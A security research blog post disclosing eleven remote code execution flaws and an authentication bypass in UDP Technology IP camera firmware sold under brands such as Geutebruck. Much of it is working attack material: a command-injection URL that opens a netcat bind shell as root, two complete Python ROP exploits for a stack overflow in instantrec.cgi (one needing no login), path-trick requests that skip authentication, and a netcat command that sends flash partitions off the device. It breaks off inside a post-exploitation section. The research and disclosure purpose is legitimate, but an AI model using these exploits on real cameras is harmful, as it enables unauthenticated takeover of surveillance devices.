Titouan Lazard, Ibrahim Ayadhi 26 min

At Randorisec, we have been looking at UDP Technology IP Camera firmwares for a long time now.

UDP Technology is providing a firmware for many IP Camera vendors such as:

  • Geutebruck
  • Ganz
  • Visualint
  • Cap
  • THRIVE Intelligence
  • Sophus
  • VCA
  • TripCorps
  • Sprinx Technologies
  • Smartec
  • Riva

They’re also selling their own cameras under their brand in Asia.

We’ve already reported several critical vulnerabilities (from RCE to Authentication Bypass) discovered on Geutebruck products. Geutebruck has always been our main contact to reach UDP Technology. In fact, UDP Technology never deigned to acknowledge our reports despite numerous mails and LinkedIn messages. Because new firmwares were released, sometimes failing to patch correctly reported vulnerabilities, we decided to follow the release of newer firmware, looking for more vulnerabilities.

This time we found 11 authenticated RCE and a complete authentication bypass.

Recap of the previous findings

Several blogposts have been published here about UDP Technology since 2017:

It is not mandatory to read the previous blogposts to read this one, but it is still entertaining ;)

Command Injection and authentication bypass

UDP Technology’s firmware suffered from several command injections on the CGI files exposed to a user browsing the web interface.

Multiple authentication bypass were found in the past in this product. Here, the previous versions of the product are also vulnerable to this new authentication bypass found. On these firmwares (before 1.12.0.25), 4 roles or access levels exist:

  • Anonymous
  • Viewer
  • Operator
  • Administrator

Basically, prepending /viewer/../ to a ressource when accessing it through the web interface allowed you to lower it to Viewer access level. Up to firmware 1.12.0.25 the configuration allowed an anonymous user (using the Anonymous level) to have the Viewer access level through a “Enable anonymous viewer login (no user name or password required)” option which was enabled by default. Anonymous Viewer option Combining an authentication bypass and an authenticated RCE, it was possible to achieve RCE as root on the default configuration.

Let’s start all over again

Step 0 - Firmware Analysis

First, we started to look at the latest firmware ( 1.12.0.27).

~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ file ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc 
ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc: data

~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ binwalk ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc | head 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2011610       0x1EB1DA        Zlib compressed data, default compression
2014091       0x1EBB8B        Zlib compressed data, default compression
2016543       0x1EC51F        Zlib compressed data, default compression
2019160       0x1ECF58        Zlib compressed data, default compression
2021722       0x1ED95A        Zlib compressed data, default compression
2024247       0x1EE337        Zlib compressed data, default compression
2026860       0x1EED6C        Zlib compressed data, default compression

Binwalk identifies that the firmware contains many Zlib compressed data.

~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ binwalk -Me ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc 

After trying to extract them, a large amount of data without any relevant content was found. Thanks to the previous vulnerabilities, we know we are targeting a Linux system. We have been looking for known filesystems or even directly common linux files such as ELF [0] binaires, or config files. This might indicate an encrypted firmware (note the suffix “.enc” on the filename). We can confirm this assumption by performing an entropy analysis of the firmware, a high entropy indicating with a high probability that the firmware is encrypted. Entropy graph of the firmware

Step 1 - Reproducing Previous Vulnerabilities and Dumping the Running Firmware

If we are not able to extract the filesystem from the firmware, we can extract it from running cameras. When the research was performed, the last firmware version available was 1.12.0.27. RandoriSec reported multiple vulnerabilities in the firmware 1.12.0.25 and we still had a camera running this firmware version. By using the previously reported vulnerabiliy in testaction.cgi, we managed to get a root shell on the camera using a firmware 1.12.0.25.

Our methodology was the following:

  1. Obtaining the filesystem/binaries of interest from the running camera version 1.12.0.25
  2. Finding new vulnerabilities on the firmware 1.12.0.25
  3. Validating those vulnerabilities on an up-to-date firmware (1.12.0.27)
  4. If the last part is successful, downloading the binaries from 1.12.0.27

Dumping partitions


ls -al /dev
total 1
...
crw-rw----    1 root     root       90,   0 Apr 12 15:21 mtd0
crw-rw----    1 root     root       90,   1 Apr 12 15:21 mtd0ro
crw-rw----    1 root     root       90,   2 Apr 12 15:21 mtd1
crw-rw----    1 root     root       90,  20 Apr 12 15:21 mtd10
crw-rw----    1 root     root       90,  21 Apr 12 15:21 mtd10ro
crw-rw----    1 root     root       90,  22 Apr 12 15:21 mtd11
crw-rw----    1 root     root       90,  23 Apr 12 15:21 mtd11ro
crw-rw----    1 root     root       90,   3 Apr 12 15:21 mtd1ro
crw-rw----    1 root     root       90,   4 Apr 12 15:21 mtd2
crw-rw----    1 root     root       90,   5 Apr 12 15:21 mtd2ro
crw-rw----    1 root     root       90,   6 Apr 12 15:21 mtd3
crw-rw----    1 root     root       90,   7 Apr 12 15:21 mtd3ro
crw-rw----    1 root     root       90,   8 Apr 12 15:21 mtd4
crw-rw----    1 root     root       90,   9 Apr 12 15:21 mtd4ro
crw-rw----    1 root     root       90,  10 Apr 12 15:21 mtd5
crw-rw----    1 root     root       90,  11 Apr 12 15:21 mtd5ro
crw-rw----    1 root     root       90,  12 Apr 12 15:21 mtd6
crw-rw----    1 root     root       90,  13 Apr 12 15:21 mtd6ro
crw-rw----    1 root     root       90,  14 Apr 12 15:21 mtd7
crw-rw----    1 root     root       90,  15 Apr 12 15:21 mtd7ro
crw-rw----    1 root     root       90,  16 Apr 12 15:21 mtd8
crw-rw----    1 root     root       90,  17 Apr 12 15:21 mtd8ro
crw-rw----    1 root     root       90,  18 Apr 12 15:21 mtd9
crw-rw----    1 root     root       90,  19 Apr 12 15:21 mtd9ro
brw-rw----    1 root     root       31,   0 Apr 12 15:21 mtdblock0
brw-rw----    1 root     root       31,   1 Apr 12 15:21 mtdblock1
brw-rw----    1 root     root       31,  10 Apr 12 15:21 mtdblock10
brw-rw----    1 root     root       31,  11 Apr 12 15:21 mtdblock11
brw-rw----    1 root     root       31,   2 Apr 12 15:21 mtdblock2
brw-rw----    1 root     root       31,   3 Apr 12 15:21 mtdblock3
brw-rw----    1 root     root       31,   4 Apr 12 15:21 mtdblock4
brw-rw----    1 root     root       31,   5 Apr 12 15:21 mtdblock5
brw-rw----    1 root     root       31,   6 Apr 12 15:21 mtdblock6
brw-rw----    1 root     root       31,   7 Apr 12 15:21 mtdblock7
brw-rw----    1 root     root       31,   8 Apr 12 15:21 mtdblock8
brw-rw----    1 root     root       31,   9 Apr 12 15:21 mtdblock9
drwxr-xr-x    2 root     root           520 Apr 12 15:21 mtdpart
...

11 MTD [1] nodes are present in /dev/. MTD nodes are block devices often used in IoT [2] [3]. We dumped every /dev/mtd files using netcat to send raw partitions directly to our host.

nc 192.168.14.101 4041 < /dev/mtdX

Doing so, we retrieved every MTD devices on the camera.

~/geutebruck/firmware_ext ❯ file mtd*
mtd0:  data
mtd1:  data
mtd10: data
mtd11: data
mtd2:  u-boot legacy uImage, Linux-2.6.18_IPNX_PRODUCT_1.1.2-, Linux/ARM, OS Kernel Image (Not compressed), 1855908 bytes, Wed Nov 30 10:47:49 2016, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xBEF4DFF0, Data CRC: 0xD02CCF26
mtd3:  Linux jffs2 filesystem data little endian
mtd4:  u-boot legacy uImage, Linux-2.6.18_IPNX_PRODUCT_1.1.2-, Linux/ARM, OS Kernel Image (Not compressed), 1855812 bytes, Tue May 12 09:00:47 2020, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xF4E6E506, Data CRC: 0x5B9BC3B7
mtd5:  Linux Compressed ROM File System data, little endian size 26800128 version #2 sorted_dirs CRC 0x4f9d065c, edition 0, 13570 blocks, 1568 files
mtd6:  Linux jffs2 filesystem data little endian
mtd7:  data
mtd8:  data
mtd9:  data

mtd6 is particularly interesting because it holds a JFFS2 [4] Filesystem. Citing Sourceware [4]:

“JFFS2 is a log-structured file system designed for use on flash devices in embedded systems”.

Now that we retrieved the JFFS partition, we can extract it using jefferson [5] or mount it like any comomn filesystem on linux.

Another quick option remains to take advantage of the shell and only dump binaries of interest.

Focusing on the web root

We decided to first focus on the web server before any other services, considering it is often publicly exposed to the Internet. According to the config files of the HTTP server, /var/config/www/lighttpd.conf, the location of the web root being used is /usr/www.

# ps -aux 
...
 1048 root       0:00 /usr/local/lighttpd/sbin/lighttpd -f /var/config/www/lighttpd.conf -m /usr/lib
...

Step 2 - Grab the Low Hanging Fruit: Command Injections

Considering the nature of the vulnerability reported in the past, we directly started to look for RCE (more precisely, command injection).

find webroot -name *cgi

The previous command returns approximately 181 results were some of them are symbolic link to others. We first started to look at /uapi-cgi/. To filter CGI files prone to command injection, we list their external symbols looking for calls to the following functions:

~/geutebruck/binaries_27/all_cgi_in_root ❯ for i in *.cgi;
do 
	objdump -T $i 2>/dev/null  | grep -E '(popen|system|exec)' > /dev/null && echo $i; 
done

certmngr.cgi
countreport.cgi
datetime.cgi
download.cgi
encprofile.cgi
evnprofile.cgi
extcounter.cgi
factory.cgi
fwupload.cgi
impexp.cgi
instantrec.cgi
language.cgi
logdownload.cgi
metadata.cgi
netinfo.cgi
network.cgi
nparam.cgi
ntpsync.cgi
oem.cgi
reboot.cgi
resource.cgi
simple_loglistjs.cgi
simple_reclistjs.cgi
status.cgi
testaction.cgi
testcmd.cgi
timezone.cgi
tmpapp.cgi

This reduce the set of potentially vulnerable CGI files to these 28 files. Now, we can start open every file with our favourite disassembler.

Let’s start with certmngr.cgi

Let’s have a look at the first cgi file containing calls to exec/system/popen, certmngr.
Note: that the original binary does not contain symbols so the function names have been renamed.

After identifying the main function, we check the different inputs we can play with to interact with the CGI.

Parameter parsing routine in certmngr’s main function

After the call to qCgiRequestsParseQueries which returns a value, this value is passed to function sub_A010. This function takes the parameter name and return pointer to the value.

We can see the list of parameters:

  • action
  • group
  • country
  • state
  • local
  • organization
  • organization
  • unit
  • commonname
  • days
  • type

Remember we are looking for command injections so we directly look for calls to system, exec and popen. After finding the system function, we list its cross references.

The system function in certmngr

Cross references list to system

We explored both cross references. We can see the function openssl_new.

Pseudocode of openssl_new function

This function builds a string with snprintf and directly uses it as parameter for system. Note that if we can put our input in this string, we can get a command execution.

Pseudocode of certreq_create function

We can just follow the argument flow, look for another cross reference and we arrive directly in the main.

Calls to certreq_create in the main function

We directly control almost every strings used to build the command passed to system in openssl_new. (However one would have been enough.)

So, let’s build a quick proof of concept

We need to set correctly each parameter involved otherwise the function responsible for parsing the parameters will return a null pointer, which will be dereferenced without any check leading to a crash of the program before reaching the system function:

  • action: createselfcert, the action required to reach the call to system
  • local: anything
  • country: AA, (dues to extra check, it needs to be only 2 char long)
  • state: Our payload
  • organization: anything
  • organizationunit: anything
  • commonname: anything
  • days: any number
  • type: anything

The only other constraint is that the final string built as to be a valid bash command.

http://192.168.14.58/uapi-cgi/admin/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(nc%20-lp%205098%20-e%20/bin/bash)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything

RCE Root for certmngr.cgi

At this point we can update the camera to the latest firmware, exploit our newly found vulnerability, and recheck every CGI files to be sure our vulnerability is still present on the most up to date version of the binaries.

We now have our first RCE as root. It requires an administrator account to trigger it. The access level required for every CGI files depends on the folder it belongs. Every CGI files are in the /uapi-cgi/ folder. However, they are not directly accessible there. In the /uapi-cgi/ folder, there are 3 other subfolders:

  • admin
  • operator
  • viewer

Each of these folders contains symlinks to the CGI files for this access level. Administrators can execute every CGI files. Viewer has a much smaller subset. Note that a setting, disabled by default on new firmwares, available on the configuration panel, allows to have an access to viewer rights without any authentication.

We first focused on having RCE regardless of the access level.

Then proceed with the rest of the cgi files, collect the fruits

By applying more or less the same methodology on every CGI file, we find the same kind of vulnerabilities in the following CGI files:

  • certmngr.cgi
  • factory.cgi
  • language.cgi
  • oem.cgi
  • simple_reclistjs.cgi
  • testcmd.cgi
  • tmpapp.cgi

We developed a PoC and Metasploit modules for each of these RCE.

CGI Short description Minimal access level
certmngr.cgi Command injection multiple parameters Administrator
factory.cgi Command injection in preserve parameter Administrator
language.cgi Command injection in date parameter Viewer
oem.cgi Command injection in environment.lang parameter Administrator
simple_reclistjs.cgi Command injection in date parameter Administrator
testcmd.cgi Command injection in command parameter Administrator
tmpapp.cgi Command injection in appfile.filename parameter Administrator

At this point we got 7 RCE and one impacting the Viewer access level. Can we get more?

Step 3 - Let’s go deeper! Exploiting buffer overflows

We have a lot of CGI files developped in C with not much attention paid regarding security best practices. Thus, it seems natural to at least have a quick look at buffer overflows and other types of memory corruption bugs.

There was no “shortcut” to filter CGI files with potential buffer overflows, we just analyzed each of them individually.

We found 4 classical stack buffer overflows:

  • countreport.cgi
  • encprofile.cgi
  • evnprofile.cgi
  • instantrec.cgi

Let’s focus on the instantrec.cgi file:

Parameters of the instantrec.cgi

Later in the main function we can see a lot of string manipulation without any check on the size on the different parameters like option or action.

Use of strcat without size check

We have a stack buffer overflow here. For those unfamiliar with buffer overflows, plenty of good documentation is available on the Internet [9] [10].

Exploitation - ROP

Protections

Before starting the exploitation we need to be aware of the different security countermeasures in place. There is no Stack Smashing Protection [11] nor NX [12], meaning data placed on the stack could be executable. The ASLR [13] in use on the system is really weak. ASLR is responsible to randomize part of the address space of the process. Because of a weak configuration, only the stack address and the heap are randomized.

# cat /proc/sys/kernel/randomize_va_space
1

Weirdly, compared to what we could found on the Internet, this does not randomize the address of shared libraries. We are not sure exactly why we encounter this behaviour, it might be because of the very old version of the kernel we are facing here :

# uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux
Let’s ROP

To exploit this stack buffer overflow we choose to go for a Return Oriented Programming Attack [14]. This might not look the straighter way to the Remote Code Execution, however, this solution allows us to not have to produce a shellcode for this architecture, and avoid any bruteforce of stack addresses.

The general idea of this exploit is to use gadgets in the libc to write a string into the data section of the libc. Then we call the system function with this newly written string as argument.

First we use ropper to retrieve the gadget we need from the libc.

0x0006781c: str r1, [r4 + 0x14]; pop r4, pc;
0x00101de4: pop r0, pc
0x0010252c: pop r1, pc
0x00015164: pop r4, pc

List of the gadgets found in /lib/libc.so.7 required for this exploit

To ROP into the libc we need libc base address, because of the weak ASLR, we can retrieve it once, using /proc/PID/maps.

To write the string in the data section we start by popping the 4 bytes of the string we want to write, into r1. Then we store it at the adress r4 + 0x14.

| pop r4, pc                     | <--- Stack Pointer
| 0x1000 - 0x14                  |
| pop r1, pc                     |
| "nib/"                         |
| str r1 [r4 + 0x14]; pop r4, pc |
| 0x1000 + 4 - 0x14              |
| pop r1, pc                     |
| ";hs/"                         |
| str r1 [r4 + 0x14]; pop r4, pc |

Ropchain example, writing “/bin/sh;” at 0x1000

After that we just pop the address of the newly written string into r0 and we return to the begining of the system funtion in the libc.

We wrote a Python exploit so we can execute any arbitrary command.

import requests
import struct
import sys

username = 'admin'
password = 'root' 

PAD_SIZE=536
padding = b"a"*PAD_SIZE

libc_add = 0x402da000

system_off = 0x00357fc
puts_off = 0x0005bc5c
exit_off = 0x0002d784
sleep_off = 0x0009538c
putchar_off = 0x005e608

libc_data_off = 0x12c960

str_r1_off = 0x0006781c # str r1 into r4 + 0x14; pop r4 pc;
pop_r0_off = 0x00101de4 # pop r0 pc
pop_r1_off = 0x0010252c # pop r1 pc
pop_r4_off = 0x00015164 # pop r4 pc

system = libc_add + system_off
puts   = libc_add + puts_off
exit_  = libc_add + exit_off
sleep  = libc_add + sleep_off
putchar  = libc_add + putchar_off

str_r1 = libc_add + str_r1_off
pop_r0 = libc_add + pop_r0_off
pop_r1 = libc_add + pop_r1_off
pop_r4 = libc_add + pop_r4_off

add_str = libc_data_off + libc_add + 4


def p(a):
    return struct.pack('<I', a)


def write_string(string, add):
    rop = b""
    if (len(string) %4):
        print('[-] String would contain null_bytes. ')
        sys.exit(-1)

    chunks = [string[i:i+4] for i in range(0, len(string),4)]


    rop += p(pop_r4)
    rop += p(add-0x14)
    for index, chunk in enumerate(chunks):
        rop += p(pop_r1)
        rop += chunk
        rop += p(str_r1)
        if index != len(chunks)-1:
            rop += p(add - 0x14 + (index + 1)*4)
        else:
            rop += b"AAAA"

            
    if b"\x00" in rop:
        print("[-] Pickup another address, ropchain would contain null bytes")
        print(",".join([hex(ord(i)) for i in rop]))
    return rop


def main():
    url = f'http://{sys.argv[1]}:{sys.argv[2]}/uapi-cgi/instantrec.cgi'
    cmd = f'{sys.argv[3]}'

    print(f'[+] Starting exploit for {url}')
    print(f'\t - Command: "{cmd}"')
    
    if len(cmd)%4:
        cmd += " "*(4 - len(cmd)%4)
    print("\t - Generating ropchain")
    action = padding
    action += write_string(cmd.encode(), add_str)
    action += p(pop_r0)
    action += p(add_str)
    action += p(system)
    print("\t - Trigger!")
    r = requests.post(url, data={'action':action},auth=requests.auth.HTTPDigestAuth(username, password))
    print("[*]Shell should have popped!") 

def usage():
    print(f"[-] Missing arguments.\n{sys.argv[0]} <Remote ip> <port> <command>")
    exit(1)

        
if __name__=='__main__':
    if len(sys.argv) < 4:
        usage()
    main()

Python exploit for instantrec.cgi

Because every CGI files uses the libc, the 4 Stack Buffer overflows can be exploited using exactly the same technique. You just need to adapt the parameters, the padding size and the libc base address, which is different for every CGI but constant across executions.

Summary table

CGI Short description Minimal access level
certmngr.cgi Command injection multiple parameters Administrator
countreport.cgi Stack Buffer Overflow Operator
encprofile.cgi Stack Buffer Overflow Administrator
evnprofile.cgi Stack Buffer Overflow Operator
factory.cgi Command injection in preserve parameter Administrator
instantrec.cgi Stack Buffer Overflow Administrator
language.cgi Command injection in date parameter Viewer
oem.cgi Command injection in environment.lang parameter Administrator
simple_reclistjs.cgi Command injection in date parameter Administrator
testcmd.cgi Command injection in command parameter Administrator
tmpapp.cgi Command injection in appfile.filename parameter Administrator

That brings to 11 RCE issues and only one with Viewer access level.

Step 4 - Make the fruits taste delicious: Authentication Bypass

When looking at the authentication mechanism, we realised it relies mainly on HTTP Basic Authentication provided by the web server lighthttpd.

Extract of /var/config/www/lighttpd.conf

...

## mod_access
$HTTP["url"] !~ "testcmd.cgi|param.cgi"{
    $HTTP["querystring"]  =~ "(\>|\%3e|\%3E|\||\%7c|\%7C|;|\%3b|\%3B|\'|\%27|\!|\%21|\{|\}|\%7b|\%7B|\%7d|\%7D|\[|\]|\%5b|\%5B|\%5d|\%5D|\`|\%60|\$\(|\%[0-1][0-9a-fA-F]|\%80|\%[eE]2\%82\%[aA][cC])"{
        url.access-deny = ("")
    }
}

$HTTP["url"] =~ "param.cgi"{
    $HTTP["querystring"]  =~ "(\"|\%22|\'|\%27|\`|\%60)"{
        url.access-deny = ("")
    }
}
...

## < Begin of Authentication part
## 0 for off, 1 for 'auth-ok' messages, 2 for verbose debugging
auth.debug = 0
## auth.backend
include "/var/config/www/auth_user"
## auth.require         
#$SERVER["socket"] == ":80" {
#  $HTTP["url"] =~ "^/*" {
#    auth.require = ( 
#    "/uapi-cgi/param.fcgi" => (
#      "method" => "basic",
#      "realm" => "root",
#      "require" => "user=root"
#    ),
#    "/nvc-cgi/param.fcgi" => (
#     "method" => "basic",
#     "realm" => "root",
#     "require" => "user=root"
#     ))
#  }
#}
include "/var/config/www/auth_require"
## > End of Authentication part
...

The first file /var/config/www/auth_user :

auth.backend = "htdigest"
auth.backend.htdigest.userfile = "/tmp/.digest"

The list of users are stored on auth.backend.htdigest.userfile.

root:administrator:0215f42c8fa1d2cc3c4652529d3a771a

Only one in our case.

The second interesting file included by the main config file is /var/config/www/auth_require:

$SERVER["socket"] == ":80" {

url.rewrite-once = (
"^/nvc-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/nvc-cgi/admin/$1.$2$3",
"^/uapi-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/uapi-cgi/admin/$1.$2$3"
)

$HTTP["url"] =~ "^/*" {

auth.require = ( 

"/uapi-cgi/admin" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/uapi-cgi/operator" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/nvc-cgi/admin" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/nvc-cgi/operator" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/nvc-cgi/ptz/ptz2.fcgi" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/nvc-cgi/ptz/serial2.fcgi" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/vca.cgi" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/admin" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/storage/storage.html" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/config/index.html" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/uapi-cgi/viewer" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/nvc-cgi/viewer" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/cgi-bin" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/api" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/var/config/www/guest_fcgi" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),

"/main.html" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root")
)
}

}

This file is designed to set up authentication rules to various folders. The following lines for example are responsible of the authentication of /uapi-cgi/admin:

...
"/uapi-cgi/admin" => 
( "method"  => "digest", 
"realm"   => "administrator", 
"require" => "user=root"),
...

However, if you remember, every CGI files are directly placed under /uapi-cgi/ folder and only symlinks are in directories named out of roles (admin, operator and viewers). To prevent unauthorized users to access the cgi files under /uapi-cgi/, we can find in the top of the config file directives responsible to rewrite request matching /uapi-cgi/*.cgi as /uapi-cgi/admin/*.cgi:

url.rewrite-once = (
"^/nvc-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/nvc-cgi/admin/$1.$2$3",
"^/uapi-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/uapi-cgi/admin/$1.$2$3"
)

But, there is an issue in this rewriting rule, it matches only requests starting by /uapi-cgi/. So, if we request, /non-existent/../uapi-cgi/certmngr.cgi, the request will not match the regular expression, which will not be rewritten. Even more, just a double slash instead of a single slash in the beginning of /uapi-cgi/ is enough. If it is not rewritten, we directly ask for /uapi-cgi/certmngr.cgi. This file is NOT protected by HTTP Basic authentication.

When testing it, keep in mind that /non-existent/../uapi-cgi/certmngr.cgi might be transparently replaced by your browser into /uapi-cgi/certmngr.cgi which is why we craft HTTP requests manually here.

~/geutebruck/disclo/blogpost ❯ python -c 'print("GET /uapi-cgi/certmngr.cgi HTTP/1.1\r\nHost: 192.168.14.58\r\n\r")' | nc 192.168.14.58 80
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="administrator", nonce="e4b9e9f05e3412c45cd88da4d3b36bae", qop="auth"
Content-Type: text/html
Content-Length: 351
Date: Tue, 13 Apr 2021 17:04:56 GMT
Server: lighttpd/1.4.35

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>401 - Unauthorized</title>
 </head>
 <body>
  <h1>401 - Unauthorized</h1>
 </body>
</html>

~/geutebruck/disclo/blogpost ❯ python -c 'print("GET /non-existent/../uapi-cgi/certmngr.cgi HTTP/1.1\r\nHost: 192.168.14.58\r\n\r")' | nc 192.168.14.58 80
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0
Pragma: no-cache
Expires: Tue, 13 Apr 2021 17:04:07 GMT
Content-Length: 0
Date: Tue, 13 Apr 2021 17:04:07 GMT
Server: lighttpd/1.4.35

~/geutebruck/disclo/blogpost ❯ python -c 'print("GET //uapi-cgi/certmngr.cgi HTTP/1.1\r\nHost: 192.168.14.58\r\n\r")' | nc 192.168.14.58 80
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0
Pragma: no-cache
Expires: Tue, 13 Apr 2021 17:05:21 GMT
Content-Length: 0
Date: Tue, 13 Apr 2021 17:05:21 GMT
Server: lighttpd/1.4.35


Quick POC of the authentication bypass

We got a nice and simple trick to bypass authentication of every /uapi-cgi/ files, making every RCEs we found so far reachable without any authentication. We now have 11 pre-auth RCE.

Bonus 1 - No Auth Exploit Buffer Overflow

It even simplifies the previous exploit, because we do not have to handle the HTTP Basic authentication anymore.


import socket
import struct
import sys

PAD_SIZE=536
padding = b"a" * PAD_SIZE

libc_add = 0x402da000

system_off = 0x00357fc
puts_off = 0x0005bc5c
exit_off = 0x0002d784
sleep_off = 0x0009538c
putchar_off = 0x005e608


libc_data_off = 0x12c960

str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;
pop_r0_off = 0x00101de4 #pop r0 pc
pop_r1_off = 0x0010252c #pop r1 pc
pop_r4_off = 0x00015164 #pop r4 pc


system = libc_add + system_off
puts   = libc_add + puts_off
exit_  = libc_add + exit_off
sleep  = libc_add + sleep_off
putchar  = libc_add + putchar_off


str_r1 = libc_add + str_r1_off
pop_r0 = libc_add + pop_r0_off
pop_r1 = libc_add + pop_r1_off
pop_r4 = libc_add + pop_r4_off

add_str = libc_data_off + libc_add + 4


def p(a):
    return struct.pack('<I', a)


def write_string(string, add):
    rop = b""
    if (len(string) % 4):
        print('[-] String would contain null_bytes. ')
        sys.exit(-1)

    chunks = [string[i:i + 4] for i in range(0, len(string), 4)]


    rop += p(pop_r4)
    rop += p(add-0x14)
    for index, chunk in enumerate(chunks):
        rop += p(pop_r1)
        rop += chunk
        rop += p(str_r1)
        if index != len(chunks) - 1:
            rop += p(add - 0x14 + (index + 1) * 4)
        else:
            rop += b"AAAA"

            
    if b"\x00" in rop:
        print("[-] Pickup another address, ropchain would contain null bytes")
        print(",".join([hex(ord(i)) for i in rop]))
    return rop


def send_http_post_request(target, url, data, port=80):
        
    body = b"&".join([key.encode() + b'=' + data[key] for key in data])

    head = f"""POST {url} HTTP/1.1\r
Host: {target}\r
Content-Length: {len(body)}\r\n\r
"""

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))

#    print(head.encode()+body)   
    s.send(head.encode()+body)
#    print(s.recv(4096))


def main():
    cmd = sys.argv[3]
    target_url = "/onvif/../uapi-cgi/instantrec.cgi"
    
    print(f'[+] Starting exploit for on {sys.argv[1]}')
    print(f'\t - Command: "{cmd}"')
    

    if len(cmd)%4:
        cmd += " "*( 4 - len(cmd) % 4)

    print("\t - Generating ropchain")
    action = padding
    action += write_string(cmd.encode(), add_str)
    action += p(pop_r0)
    action += p(add_str)
    action += p(system)
    print("\t - Trigger!")
    send_http_post_request(sys.argv[1], target_url, {'action':action}, port=int(sys.argv[2]))
    
    print("[*]Shell should have popped!") 


def usage():
    print(f"[-] Missing arguments.\n{sys.argv[0]} <Remote ip> <port> <command>")
    exit(1)

        
if __name__=='__main__':
    if len(sys.argv) < 4:
        usage()
    main()


Bonus 2 - Metasploit Post Exploitation Module

After successfully gaining acces to the camera, the next step is to attack the camera capture display which can be very useful during a red team engagement and would help for an initial physical intrusion.

To do so, a high level understanding of how the live streaming video works is crucial. Consulting the livestream on a web browser reveals an internal JavaScript code which is responsible for getting infinite instant frames from a FastCGI endpoint and overwriting current displayed frame, thus making the livestream looks smooth and well displayed when seen by the bare eye.

The FastCGI file is a binary protocol for interfacing interactive programs with a web server, in our case it is used as a proxy between the raw stream and the web pages which are finally displayed within the web browser.

As this FastCGI file is a blackbox asset, its general behavior could be challenging at first but thanks to the available tools out there, reverse engineering the snapshot.fcgi file using a disassembler/decompiler such as IDA or Ghidra is as simple as watching the livestream.

Long story short, each frame is received by the fcgi binary in a raw format and transformed into an standard image and returned as a response in order to be used later when consulted by the JavaScript code.

The main() function responsible for handling all the process prementioned is the following:

int main(void)

{
[...]
  iVar1 = UHL_streamInit(); // start the raw connection with the stream
  if (iVar1 == 0) {
    memset(acStack320,0,0x11c); // allocate space for hardcoded snapshot config file
    snprintf(acStack320,0x80,"/var/info/tmp/status_snapshot_fcgi.conf");
    [...]
    strncpy(acStack192,"/etc/init.d/fcgi/snapshot.fcgi",0x80); // output file
   [...]
    iVar1 = STATUS_create(acStack320);
    g_statusHandle = iVar1;
    if (iVar1 != 0) {
      IPNUTIL_RegisterSigHandler(signalHandler); // handle interruptions signals
LAB_00008c54:
      iVar1 = FCGI_Accept(); // accept request
      if (-1 < iVar1) {
        while( true ) { // infinite display
          local_1c[0] = 0;
          iVar1 = UHL_frameOpenTime(0,0,2,0,0,0,0,0); // open raw connection with the stream
          if (iVar1 == 0) break; // no stream ==> exit
          UHL_frameGetSerial(iVar1,local_1c); // store stream serial reference  
          if (local_1c[0] == 0) { // no serial identified ==> exit
            UHL_frameClose(iVar1);
            break;
          }
          local_24 = 0;
          local_20 = (void *)0x0;
          UHL_frameGetData(iVar1,&local_20,&local_24); // start getting data and store it in local_20
          __n = local_24;
          __dest = malloc(local_24); // allocate space for raw data
          if (__dest == (void *)0x0) break; // failed to dynamically allocate space 
          memcpy(__dest,local_20,__n); // copying the raw data to the allocated space. no overflow !!
          UHL_frameClose(iVar1); // finished receving data
          FCGI_printf("Content-Length: %d\r\n",__n); // preparing HTTP response header
          printHead("image/jpeg"); // content type
          iVar1 = FCGI_fwrite(__dest,__n,1,0x111c8); // writing content as http response
          if (iVar1 == 1) { // success
            FCGI_fflush(0x111c8); // flush the buffer
            free(__dest); // free allocated space ; otherwise memory leak ?
            goto LAB_00008c54; // repeat the process 
          }
          printHead("text/html"); // if something went wrong we reach this point
          errorPrint("PrintData error"); // print error on the page;
          free(__dest); // also free the allocated space
